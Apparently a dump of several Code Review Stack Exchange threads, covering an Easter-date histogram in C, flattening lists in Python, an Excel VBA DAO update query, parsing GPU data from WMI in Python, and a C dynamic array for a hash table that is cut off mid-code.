int p = (h + l - 7 *m + 114)%31;
return (ymd) {year, n, p+1};
}
ymd Easter_Date(int year) {
return (year > EASTER_GREGORIAN_EPOCH_YEAR) ?
Easter_DateGregorian(year) : Easter_DateJulian(year);
}
</code></pre>
<p>Test</p>
<pre><code>// main.c
// **Alternate code used as a check**
// Find easter on any given year
// https://codereview.stackexchange.com/questions/193847/find-easter-on-any-given-year
// Decoding Gauss' Easter Algorithm
// https://math.stackexchange.com/q/896954/83175
static ymd Easter(int year) {
int a = year%19;
int b = year/100;
int c = (b - (b/4) - ((8*b + 13)/25) + (19*a) + 15)%30;
int d = c - (c/28)*(1 - (c/28)*(29/(c + 1))*((21 - a)/11));
int e = d - ((year + (year/4) + d + 2 - b + (b/4))%7);
int month = 3 + ((e + 40)/44);
int day = e + 28 - (31*(month/4));
return (ymd) {year, month , day};
}
#include <assert.h>
#include <stdio.h>
int main(void) {
int count[5][32] = { 0 };
for (int year = EASTER_GREGORIAN_EPOCH_YEAR + 1;
year <= EASTER_GREGORIAN_EPOCH_YEAR + EASTER_GREGORIAN_PERIOD;
year++) {
ymd e1 = Easter_Date(year);
ymd e2 = Easter(year);
if (e1.d != e2.d) {
printf("%5d-%02d-%02d ", e1.y, e1.m, e1.d);
printf("%5d-%02d-%02d ", e2.y, e2.m, e2.d);
puts("");
}
assert(e1.m >= 3 && e1.m <=4);
assert(e1.d >= 1 && e1.d <=31);
count[e1.m][e1.d]++;
}
for (int m = 3; m <= 4; m++) {
for (int d = 1; d <= 31; d++) {
if (count[m][d]) {
double permill = round(1000.0*count[m][d]/EASTER_GREGORIAN_PERIOD);
printf("%d, %2d, %3.1f%%, %0*d\n", m, d, permill/10, (int) permill, 0);
}
}
}
return 0;
}
</code></pre>
<p>Output: Month, Day, Percentage, Graph</p>
<pre><code>3, 22, 0.5%, 00000
3, 23, 1.0%, 0000000000
3, 24, 1.4%, 00000000000000
3, 25, 1.9%, 0000000000000000000
3, 26, 2.3%, 00000000000000000000000
3, 27, 2.9%, 00000000000000000000000000000
3, 28, 3.3%, 000000000000000000000000000000000
3, 29, 3.4%, 0000000000000000000000000000000000
3, 30, 3.3%, 000000000000000000000000000000000
3, 31, 3.3%, 000000000000000000000000000000000
4, 1, 3.4%, 0000000000000000000000000000000000
4, 2, 3.3%, 000000000000000000000000000000000
4, 3, 3.4%, 0000000000000000000000000000000000
4, 4, 3.3%, 000000000000000000000000000000000
4, 5, 3.4%, 0000000000000000000000000000000000
4, 6, 3.3%, 000000000000000000000000000000000
4, 7, 3.3%, 000000000000000000000000000000000
4, 8, 3.4%, 0000000000000000000000000000000000
4, 9, 3.3%, 000000000000000000000000000000000
4, 10, 3.4%, 0000000000000000000000000000000000
4, 11, 3.3%, 000000000000000000000000000000000
4, 12, 3.4%, 0000000000000000000000000000000000
4, 13, 3.3%, 000000000000000000000000000000000
4, 14, 3.3%, 000000000000000000000000000000000
4, 15, 3.4%, 0000000000000000000000000000000000
4, 16, 3.3%, 000000000000000000000000000000000
4, 17, 3.4%, 0000000000000000000000000000000000
4, 18, 3.5%, 00000000000000000000000000000000000
4, 19, 3.9%, 000000000000000000000000000000000000000
4, 20, 3.3%, 000000000000000000000000000000000 <-- 2019
4, 21, 2.9%, 00000000000000000000000000000
4, 22, 2.4%, 000000000000000000000000
4, 23, 1.9%, 0000000000000000000
4, 24, 1.5%, 000000000000000
4, 25, 0.7%, 0000000
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T05:11:52.503",
"Id": "420865",
"Score": "0",
"body": "Can you clarify what percentage means here? Percentage of what?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T12:12:28.067",
"Id": "420906",
"Score": "0",
"body": "@user1118321 True \" percentage\" lacks specific context. It is the percentage of occurrence. The values sum to 100.0%"
}
] | [
{
"body": "<p>Nice work! Here are my comments, mostly style related:</p>\n\n<p><code>easter.h:</code></p>\n\n<ul>\n<li><p>Consider using <code>#pragma once</code> instead of the classic style header guard. While it's not strictly-conforming C, it's supported by all mainstream compilers. It is of my personal preference, since it keeps code cleaner and more uniform. </p>\n\n<p>For further discussions, pros and cons:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/787533/is-pragma-once-a-safe-include-guard\">https://stackoverflow.com/questions/787533/is-pragma-once-a-safe-include-guard</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Pragma_once\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Pragma_once</a></li>\n</ul></li>\n</ul>\n\n<p><code>easter.c:</code></p>\n\n<ul>\n<li><code>#include \"easter.h\"</code> is missing.</li>\n<li>In <code>Easter_DateGregorian</code>, variables <code>n</code> and <code>p</code> could be renamed <code>month</code> and <code>day</code>, respectively. While this knowledge could be implied from the return statement, it's better to give them a meaningful name. Then, the <code>+ 1</code> should be added to <code>day</code>, instead of when returning.</li>\n<li>Similarly, in <code>Easter_DateJulian</code>, <code>f</code> and <code>g</code> could be renamed <code>month</code> and day, respectively.</li>\n</ul>\n\n<p><code>main.c:</code></p>\n\n<ul>\n<li><code>#include \"easter.h\"</code> is missing.</li>\n<li>The function <code>Easter</code> appears before the <code>#include</code>s block: my recommendation is always placing <code>#include</code>s at the very beginning of the source file. It is useful to know that includes are always found in the same place, and not hiding in the source code. Also, since <code>Easter</code> is a reference function, consider a more expressive name such as <code>Easter_Ref</code>.</li>\n<li><code>#include <math.h></code> is missing for <code>round.h</code>.</li>\n<li>Since <code>count</code> is a two-dimentional array, it should be initialized with double braces: <code>int count[5][32] = { { 0 } };</code>.</li>\n<li>Consider using named constants for months 3 and 4, such as <code>MARCH</code> and <code>APRIL</code>. That way, the meaning of <code>m</code> is clear immediately.</li>\n<li>From the same reasoning, consider renaming <code>m</code> and <code>d</code> to <code>month</code> and <code>day</code> respectively.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:46:38.893",
"Id": "217534",
"ParentId": "217528",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "217534",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T02:47:27.813",
"Id": "217528",
"Score": "3",
"Tags": [
"c",
"datetime",
"reinventing-the-wheel",
"data-visualization",
"c99"
],
"Title": "Bar graph of Easter date distribution"
} | 217528 |
<p>How to flatten a list of lists in more pythonic way?
This is the code I tried.</p>
<pre class="lang-py prettyprint-override"><code>input, output = [[1,2], [3, 4]], []
for e in input:
output.extend(e)
print output # [1, 2, 3, 4]
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T03:41:50.993",
"Id": "420853",
"Score": "2",
"body": "What is the purpose of this code? Is it code that you yourself wrote?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:31:44.450",
"Id": "420872",
"Score": "2",
"body": "Why you think above code is not pythonic? Though I suggest one improvement, just initializes `input` and `output` on different lines for better readability."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:31:28.633",
"Id": "420886",
"Score": "1",
"body": "Can you please rename the title to be more meaningful. Example: \"Flattening a list of lists\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:20:04.827",
"Id": "420985",
"Score": "0",
"body": "Thanks for your advice.I have renamed my title."
}
] | [
{
"body": "<p>As @MateuszKonieczny notes, you 100% should be using Python 3, not Python 2. In particular, that means instead of <code>print output</code>, you use <code>print(output)</code>. When googling for docs or tutorials use \"python3\" instead of \"python\" and that should give you what you need.</p>\n\n<p>I wouldn't use tuple unpacking like you did in your first line:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>input, output = [[1,2], [3, 4]], []\n</code></pre>\n\n<p>Tuple unpacking is a fantastic and powerful feature, but here it makes you have to squint and count brackets to see which thing is being assigned to <code>output</code> (since <code>,</code> can occur within a list). Tuple unpacking is great for naming functions that return multiple values:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>fastest_runtime, average_runtime = run_benchmarks()\n</code></pre>\n\n<p>But in this case, put assignments on separate lines. Also, take care to properly PEP8 by putting spaces around commas. Formatting is a key part of pythonic code. You also shouldn't use <code>input</code> as it shadows the builtin function <code>input</code>.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>lists = [[1, 2], [3, 4]]\noutput = []\n</code></pre>\n\n<p>Now, I'll make a bold claim that almost any time you initialize an empty list and then proceed to call <code>append()</code> or <code>extend()</code> on it, you're doing something wrong. Often, such constructions can be much more concisely and clearly be expressed as a list/generator expression (I've also renamed <code>output</code> to <code>flattened</code>, because the operation you are doing is a common functional one called <a href=\"https://rosettacode.org/wiki/Flatten_a_list#Python\" rel=\"noreferrer\">flattening</a>..although don't look at any of the Python snippets on that page, they are horrible):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>flattened = [x for l in lists for x in l]\n</code></pre>\n\n<p>This is a very common Python idiom. Sometimes you may see:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>flattened = sum(lists, [])\n</code></pre>\n\n<p>This is a trick that takes advantage of the fact that <code>[1, 2] + [3, 4] == [1, 2, 3, 4]</code> (addition is overloaded for lists). Whether it reads better than the list expression is debatable, but it is common nonetheless.</p>\n\n<p>Also note that <code>extend</code> certainly has its place in many applications. It's just in this particular one, the above patterns are typically preferred (due to their brevity).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T07:17:27.037",
"Id": "217537",
"ParentId": "217529",
"Score": "6"
}
},
{
"body": "<p>To complete the alternate ways to achieve what you are doing (flattening a list of lists into a single list), there is <a href=\"https://docs.python.org/3/library/itertools.html#itertools.chain\" rel=\"nofollow noreferrer\"><code>itertools.chain</code></a>:</p>\n\n<pre><code>from itertools import chain\n\nlists = [[1,2], [3, 4]]\noutput = list(chain.from_iterable(lists))\n</code></pre>\n\n<p>This is not so useful in this particular case (at least it is not really better than the alternatives), but it can be if you only need to iterate over the output once (since it is a generator). This allows you to not store the flattened list in memory.</p>\n\n<pre><code>for x in chain.from_iterable(lists):\n print(x)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:28:47.890",
"Id": "217543",
"ParentId": "217529",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "217537",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T02:52:59.897",
"Id": "217529",
"Score": "-2",
"Tags": [
"python"
],
"Title": "How to flatten a list of lists?"
} | 217529 |
<p>I have a macro in Excel that updates a recordset using <code>WHERE</code> a primary key in MS Access matches a primary key in a UserForm label value. The macro is called from a Userform command button, this command button also writes about 10 different UserForm textbox values back to MS ACCESS and to a Sheet in Excel. My query in MS ACCESS is using <code>PARAMETERS</code> as well.</p>
<p>I find that at times my <code>UPDATE</code> query takes a little longer to run, and Excel will freeze. Experts, is there anything missing from my code that I should be executing?</p>
<p><strong>UPDATE SQL MACRO</strong></p>
<pre><code>Sub ClientUpdate ()
Dim db As Database
Dim qdf As QueryDef
Application.StatusBar = "Connecting to PBS Database......"
Set db = OpenDatabase("M:\Admin Vision\PBS BackUP Database\Database15.mdb")
Set qdf = db.QueryDefs("pbsupdate")
Application.StatusBar = "Uploading Client Data to PBS server...."
Application.ScreenUpdating = False
Application.Calculation = xlCalculationManual
Application.EnableEvents = False
qdf!pbskey = dialer.key
qdf!pbsclient = dialer.client
qdf!pbspriority = dialer.priority_
qdf!pbssource = dialer.priority
qdf!pbslastcontact = dialer.contact
qdf!pbsresult = dialer.result
qdf!pbsnextsteps = dialer.segmentType
qdf!pbsattempts = dialer.Label11 + 1
qdf!pbsnotes = dialer.notes
Application.CalculateUntilAsyncQueriesDone
qdf.Execute dbFailOnError
qdf.Close
db.Close
Application.StatusBar = "Upload Successful!"
Set qdf = Nothing
Set cdb = Nothing
Application.Calculation = xlCalculationAutomatic
Application.EnableEvents = True
Application.ScreenUpdating = True
End Sub
</code></pre>
<p><strong>USERFORM CODE</strong></p>
<pre><code>Private Sub CommandButton1_Click()
Application.ScreenUpdating = False
Application.Calculation = xlCalculationManual
Application.EnableEvents = False
Dim wb As Workbook: Set wb = ThisWorkbook
Dim Ws As Worksheet: Set Ws = wb.Sheets("clientmenu")
Dim lastrow As Long
Dim CellRow As Integer ' create a variable to hold the cell row
CellRow = ActiveCell.Row
x = Me.lblRow
CurrentRow = ActiveCell.Row
If contact.Value <> "" And result.Value = vbNullString Then
MsgBox "Please enter a result"
result.BorderColor = vbRed
result.BackColor = vbYellow
result.DropDown
Exit Sub
ElseIf contact.Value = vbNullString And result.Value <> "" Then
MsgBox "Please enter a date"
contact.BorderColor = vbRed
contact.BackColor = vbYellow
Exit Sub
End If
ClientUpdate '///calling UPDATE SQL MACRO
Unload Me
With Sheet3
lastrow = Sheet3.Range("A" & Rows.Count).End(xlUp).Row + 1
If Me.priority_ = vbNullString Then
.Cells(x, 2).Interior.Color = vbWhite
.Cells(x, 2).Font.Color = RGB(0, 0, 0)
ElseIf Me.priority_ = "None" Then
.Cells(x, 2).Interior.Color = vbWhite
.Cells(x, 2).Font.Color = RGB(0, 0, 0)
.Cells(x, 3).Value = vbNullString
ElseIf Me.priority_ = "High" Then
.Cells(x, 2) = Me.priority_.Text
ElseIf Me.priority_ = "Medium" Then
.Cells(x, 2) = Me.priority_.Text
ElseIf Me.priority_ = "Low" Then
.Cells(x, 2) = Me.priority_.Text
End If
.Cells(x, 2) = Me.client.Text
.Cells(x, 4) = Me.priority.Text
.Cells(x, 9) = Me.notes.Text
.Cells(x, 7) = Me.segmentType.Text
If Me.contact.Value = vbNullString Then
Exit Sub
Else
.Cells(x, 5) = Me.contact.Value
End If
.Cells(x, 6) = Me.result.Text
If Me.contact = vbNullString Then
ElseIf Me.contact <> vbNullString Then
.Cells(x, 8) = .Cells(x, 8) + 1
End If
End With
callbyMonth 'filters call by months
callsByDay 'filters calls by day
callsByWeek 'filters calls by week
Application.EnableEvents = True
Application.Calculation = xlCalculationAutomatic
Application.ScreenUpdating = True
End Sub
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-11-21T20:18:34.633",
"Id": "454687",
"Score": "0",
"body": "you have a very dangerous habit of exiting subs before turning screen things back on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-11-21T22:56:19.273",
"Id": "454700",
"Score": "1",
"body": "@doug coats agreed. Also I write my VBA code much differently now. Looking back at this post, my code is a spaghetti mess"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T04:57:01.407",
"Id": "217531",
"Score": "1",
"Tags": [
"sql",
"vba",
"excel",
"ms-access"
],
"Title": "Running an UPDATE SQL QUERY within VBA using DAO"
} | 217531 |
<p>I currently use this code to extract the required GPU data. Can you review this method for efficiency or best coding practices? </p>
<h3>Code</h3>
<pre class="lang-py prettyprint-override"><code>import wmi
c = wmi.WMI()
def gpu_check():
gpu_ouy =["fu","7"]
gpu_a =""
gpu_b =""
ass = str(c.Win32_VideoController()[0])
asss = str(c.Win32_VideoController()[1])
aq = ass.split()
for x in range(len(c.Win32_VideoController())):
ass = str(c.Win32_VideoController()[x])
saa = ass.split()
saa.remove("instance")
saa.remove("of")
saa.remove("Win32_VideoController")
saa.remove("{")
saa.remove("AdapterCompatibility")
saa.remove("AdapterDACType")
while "=" in saa:
saa.remove("=")
saa.remove("};")
saa.remove("SystemName")
saa.remove("Description")
saa.remove("InstalledDisplayDrivers")
saa.remove("DeviceID")
saa.remove("DriverDate")
saa.remove("Name")
saa.remove("Status")
saa.remove("Caption")
saa.remove("InfFilename")
saa.remove("ConfigManagerUserConfig")
saa.remove("ConfigManagerErrorCode")
saa.remove("InfSection")
saa.remove("DriverVersion")
if "CurrentScanMode" in saa:
saa.remove("CurrentScanMode")
saa.remove("SystemCreationClassName")
saa.remove("CreationClassName")
if "CurrentRefreshRate" in saa:
saa.remove("CurrentRefreshRate")
if "CurrentHorizontalResolution" in saa:
saa.remove("CurrentHorizontalResolution")
if "CurrentVerticalResolution" in saa:
saa.remove("CurrentVerticalResolution")
if "CurrentNumberOfColors" in saa:
saa.remove("CurrentNumberOfColors")
if "MinRefreshRate" in saa:
saa.remove("MinRefreshRate")
if 'colors";' in saa:
saa.remove('colors";')
if "CurrentBitsPerPixel" in saa:
saa.remove("CurrentBitsPerPixel")
if "MaxRefreshRate" in saa:
saa.remove("MaxRefreshRate")
saa.remove("VideoProcessor")
saa.remove("PNPDeviceID")
if "CurrentNumberOfColumns" in saa:
saa.remove("CurrentNumberOfColumns")
if "CurrentNumberOfRows" in saa:
saa.remove("CurrentNumberOfRows")
saa.remove("Monochrome")
saa.remove("Availability")
del saa[5]
if '"Integrated' in saa:
saa.remove('"Integrated')
if '"Internal";' in saa:
saa.remove('"Internal";')
if 'VideoModeDescription' in saa:
saa.remove('VideoModeDescription')
saa.remove('AdapterRAM')
if 'RAMDAC";' in saa:
saa.remove('RAMDAC";')
sqa =int(((int(str(saa[1]).replace(";",""))/1024)/1024)/1000)
saa[1] = sqa
else:
sqa =int(((int(str(saa[2]).replace(";",""))/1024)/1024)/1000)
saa[2] = sqa
if 'Corporation";' in saa:
saa.remove('Corporation";')
while "FALSE;" in saa:
saa.remove("FALSE;")
gpu_a =""
gpu_b =""
if saa[6] =="0;":
gpu_a = str(saa[2]).replace('"',"")+" "+saa[3]+" "+saa[4]+" "+str(saa[5]).replace('";',"")+" "+str(saa[1])+" GB"
gpu_ouy[0] = str(gpu_a)
else:
gpu_b = str(saa[2]).replace('"',"")+" "+saa[3]+" "+saa[4]+" "+str(saa[5]).replace('";',"")+" "+str(saa[6]).replace('";',"")+" "+str(saa[1])+" GB"
gpu_ouy[1] = gpu_b
return gpu_ouy
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:25:07.483",
"Id": "420867",
"Score": "0",
"body": "What *is* `c`? Is `c.Win32_VideoController()` a simple accessor?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T06:32:27.320",
"Id": "420873",
"Score": "2",
"body": "Welcome to Code Review. Do not comment comments asking for clarification: Edit your question, the code in it unless reviews have started."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:36:02.113",
"Id": "420887",
"Score": "17",
"body": "`ass` is a very bad variable name."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T14:49:20.617",
"Id": "420935",
"Score": "21",
"body": "`ass.split()` is an even worse statement."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T07:09:57.443",
"Id": "421001",
"Score": "3",
"body": "I like the Javascript spread operator though, `...ass`"
}
] | [
{
"body": "<p>Let's ignore efficiency. It took me five minutes to figure out what you were trying to do. In the kindest way possible, this is a mess. But let's fix that!</p>\n\n<p>Your variable names are terrible. I have no idea what an <code>ass</code> is. What about an <code>asss</code>? Surely that's a bad idea, because it's very easy to mistake one for the other. Even if it wasn't, what are they? A variable name should describe what it holds. A bunch of random characters aren't helpful. Same goes for <code>gpu_ouy</code>. Is that a typo? What are <code>gpu_a</code> and <code>gpu_b</code>? What is <code>aq</code>? What is <code>c</code>? What is <code>saa</code>? None of these variables names help someone reading your code understand their function.</p>\n\n<p>Don't use <code>len</code> in a <code>for</code> loop. The idiomatic python approach is to just iterate over the collection (and let it deal with lengths and indices). So instead of:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for x in range(len(c.Win32_VideoController())):\n ass = str(c.Win32_VideoController()[x])\n</code></pre>\n\n<p>Use this:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>for controller in c.Win32_VideoController():\n # do something with controller...\n pass\n</code></pre>\n\n<p>Some random points before we get to the big issue:</p>\n\n<ul>\n<li>In <code>sqa =int(((int(str(saa[1]).replace(\";\",\"\"))/1024)/1024)/1000)</code>, use <code>//</code> instead of calling <code>int</code> so much. This does floor division. So <code>int(int(x / 1024) / 1024)</code> is the same as <code>x // 1024 // 1024</code>. But then you could just merge them: <code>x // (1024 * 1024)</code>. But what are those numbers? I suspect you're converting from bytes to GB (expect 1000 MB = 1 GB isn't correct unless you're dealing with harddrives, which sometimes define the measurements like so). So instead use a constant: <code>BYTES_PER_GB = 1024 * 1024 * 1000</code>. Then do: <code>int(vram_size_bytes) // BYTES_PER_GB</code>.</li>\n<li>As @IsmaelMiguel points out, not all cards support more than 1GB of RAM. This math will report 0 for them, which you may not want. One solution is to not use floored division (<code>int(vram_size_bytes) / BTYES_PER_GB</code>). When printing using the format specifier <code>.02f</code> so you don't get numbers with tons of decimal places (ex. <code>\"Video RAM: {:.02f}\".format(vram_size_bytes / BYTES_PER_GB)</code>).</li>\n<li>Fix your spacing and formatting. <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a> your code!</li>\n<li>What is <code>saa[1]</code> above? You have some many magic indices that no one can discern without understanding the value of <code>str(controller)</code>. Prefer giving things descriptive names (use variables, heck overuse variables to make things clear) to magic indices.</li>\n<li><code>remove</code> can fail (it <code>raise</code>s a <code>ValueError</code> if the element isn't found in the list).</li>\n<li>You don't need to initialize <code>gpu_a</code> and <code>gpu_b</code> (ex. <code>gpu_a = \"\"</code> is unnecessary), because later you assign stuff to them. They will be initialized on first assignment.</li>\n<li>Given code this fragile, you definitely want to include tests. I'd imagine some integration tests would help. You can amass a list of outputs of <code>str(c.Win32_VideoController()[0])</code>s and manually do this string parsing. Then assert in some tests that your code outputs the thing that you expect for each. <a href=\"https://docs.python.org/3/library/unittest.html#module-unittest\" rel=\"nofollow noreferrer\"><code>unittest</code></a> will help you with this.</li>\n</ul>\n\n<p>But now the largest issue: you're doing a ton of extra work that you almost certainly don't have to do! I can't seem to find good docs for <code>wmi</code>'s wrapping around this, but according to the <a href=\"https://docs.microsoft.com/en-us/windows/desktop/CIMWin32Prov/win32-videocontroller\" rel=\"nofollow noreferrer\">microsoft docs</a>, this probably returns an object of some type. That means instead of all of this convoluted and fragile string parsing you're attempting, you can probably get at the information you want by just doing <code>controller.AdapterRAM // BYTES_PER_GB</code> or <code>controller.Description</code> (where <code>controller</code> comes from <code>for controller in wmi.WMI().Win32_VideoController()</code>). Open up a Python REPL by running <code>python3</code> and then run the following:</p>\n\n<pre><code>>>> import wmi\n>>> controller = wmi.WMI().Win32_VideoController()[0]\n>>> help(controller)\n>>> dir(controller)\n</code></pre>\n\n<p>That should give you an idea of all of the information you can get from it. You don't need to be doing all that string parsing! The information is already available on properties of the object!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T01:16:14.707",
"Id": "420968",
"Score": "2",
"body": "Strictly speaking, one GB is 1000 MB and one MB is 1000 KB, but one GiB is 1024 MiB and one MiB is 1024 KiB. Going by the standards as defined by the IEC, that is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T09:28:25.463",
"Id": "421016",
"Score": "0",
"body": "Won't this cause issues for GPUs with less than 1GB of vram? (For example, integrated GPUs can have anywhere between 8MB and 2GB. VirtualBox limits the *maximum* GPU memory to 128MB)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T19:28:00.647",
"Id": "421090",
"Score": "0",
"body": "@vurp0 Sure, strictly speaking that's right. However, the \"ibi\" is often dropped (unfortunately) in common parlance. And as I mention, the only place where I've seen GB not mean GiB was in the context of hard drive storage (it's cheaper for manufacturers because 1 GB < 1 GiB, so they exploit this ambiguity)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T19:28:31.033",
"Id": "421091",
"Score": "1",
"body": "@IsmaelMiguel Yeah it will. This is a good point to call out. I'll append it to the discussion about the GB math."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T07:46:08.483",
"Id": "217539",
"ParentId": "217532",
"Score": "26"
}
},
{
"body": "<p>I fully agree with the <a href=\"https://codereview.stackexchange.com/a/217539/98493\">answer</a> by <a href=\"https://codereview.stackexchange.com/users/8639/bailey-parker\">@BaileyParker</a>. I have basically no idea what any of your variables are. Or what your code is actually supposed to achieve. And indeed, there is probably a better way to achieve what you want in this case. However, knowing how to do string and list parsing efficiently is also sometimes necessary, so this is how you could have done that better.</p>\n\n<p>In your code, most of the lines are spent on removing unneeded strings from a list. Instead of manually removing each one of them (and even adding guards for the ones you know might not even exist in the list, hoping you don't miss any of those), just define a blacklist of terms you never want in your list and exclude them. If you choose a <code>set</code> as a data structure for that blacklist, you only need to iterate once over your list and checking if each element is in the blacklist is <span class=\"math-container\">\\$\\mathcal{O}(1)\\$</span>, making this algorithm <span class=\"math-container\">\\$\\mathcal{O}(n)\\$</span>.</p>\n\n<p>Your code on the other hand is <span class=\"math-container\">\\$\\mathcal{O}(n)\\$</span> for every single term you remove, because the whole list needs to be checked for the item in the worst case, and twice that if you first check if a term exists in the list with <code>in</code>, which is also <span class=\"math-container\">\\$\\mathcal{O}(n)\\$</span>. This makes your code <span class=\"math-container\">\\$\\mathcal{O}(nk)\\$</span> with <span class=\"math-container\">\\$n\\$</span> the list of methods and <span class=\"math-container\">\\$k\\$</span> the number of terms you want removed.</p>\n\n<pre><code>blacklist = {\"instance\", \"of\", ...}\n\nfor methods in c.Win32_VideoController():\n methods = [m for m in str(methods).split() if m not in blacklist]\n # do something with it\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T09:20:25.047",
"Id": "217541",
"ParentId": "217532",
"Score": "12"
}
},
{
"body": "<p>To add on to what @BaileyParker said, instead of phrasing the WMI string directly, you should use the <code>wmi_property</code> command to get the value of the property you are interested in. You can get a list of properties from the Microsoft documentation: <a href=\"https://docs.microsoft.com/en-us/windows/desktop/CIMWin32Prov/win32-videocontroller\" rel=\"noreferrer\">Win32_VideoController</a></p>\n\n<p>For example, you could do something like this:</p>\n\n<pre><code>import json\nimport wmi\n\ncontrollers = wmi.WMI().Win32_VideoController()\n\ngpu_data = list()\n\nfor controller in controllers:\n controller_info = {\n 'Name': controller.wmi_property('Name').value,\n 'HRes': controller.wmi_property('CurrentHorizontalResolution').value,\n 'VRes': controller.wmi_property('CurrentVerticalResolution').value,\n }\n gpu_data.append(controller_info)\n\nprint json.dumps(gpu_data, indent=4)\n</code></pre>\n\n<p>On my machine it prints the output:</p>\n\n<pre><code>[\n {\n \"VRes\": 1080, \n \"Name\": \"NVIDIA GeForce GTX 1050\", \n \"HRes\": 1920\n }\n]\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T18:52:48.483",
"Id": "420949",
"Score": "1",
"body": "I would make that `for` loop a list comprehension. Otherwise this seems to be the solution the OP actually needs in this case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:09:51.663",
"Id": "420983",
"Score": "0",
"body": "I'll add you to your code ram gpu,next gpu ram badly show ```controller.wmi_property('AdapterRAM').value```"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T18:02:09.263",
"Id": "217571",
"ParentId": "217532",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "217541",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T05:22:08.890",
"Id": "217532",
"Score": "7",
"Tags": [
"python",
"performance",
"python-3.x"
],
"Title": "Extract all GPU name, model and GPU ram"
} | 217532 |
<p>To gain a broader insight in things many (high-level language) programmers nowadays take for granted, I decided to study some of the more basic ways of storing data in memory. I wrote a program which stores dynamic sized (integer) arrays in a chained hash table. A possible application could be the indexing of lines on which words appear in a given text file to be parsed (I could then 'ask' the program on which lines, f.e. the word 'banana' appears in the parsed text). I designed the program so that I can pass different hash functions and compare their performance later on.</p>
<p>Anyway, my code is working perfectly as I want it to. However, I feel like it's necessary to get fundamental data structures such as hash tables and dynamic sized arrays right, so that's why I am posting my code here.</p>
<p><strong>array.c</strong></p>
<pre><code>/* A dynamic array is implmented to keep track of line numbers in text. */
struct array {
size_t size;
size_t capacity;
int* contents;
};
/* Initializes a dynamic array and allocates its desired memory. */
struct array* array_init(unsigned long initial_capacity) {
struct array* a = malloc(sizeof(struct array));
if(a == NULL) {
// Initialization failed.
return NULL;
}
a->contents = malloc(sizeof(int) * initial_capacity);
// If initial_capacity is zero, contents would always be NULL.
if(a->contents == NULL && initial_capacity > 0) {
free(a);
return NULL;
}
a->size = 0;
a->capacity = initial_capacity;
return a;
}
/* Releases memory used by given array. */
void array_cleanup(struct array *a) {
if(a) {
if(a->contents) {
free(a->contents);
}
free(a);
}
}
/* Returns element at given position in given array. */
int array_get(struct array *a, unsigned long index) {
if(!a) {
return -1;
}
// As an unsigned long has been given, no need to check for negatives.
if(index > a->capacity - 1) {
return -1;
}
return a->contents[index];
}
/* Appends element at given index in array after resizing array if needed. */
int array_append(struct array *a, int elem) {
if(!a) {
return 1;
}
if(a->capacity < a->size+1) {
// Resizing array by reallocating memory for twice more values.
if(a->capacity == 0) {
// If array length is zero, just change capacity to one.
a->capacity = 1;
} else {
// Double array size.
a->capacity *= 2;
}
void *largerContents = realloc(a->contents, sizeof(int) * a->capacity);
if(largerContents == NULL) {
return 1;
}
a->contents = largerContents;
}
a->contents[a->size] = elem;
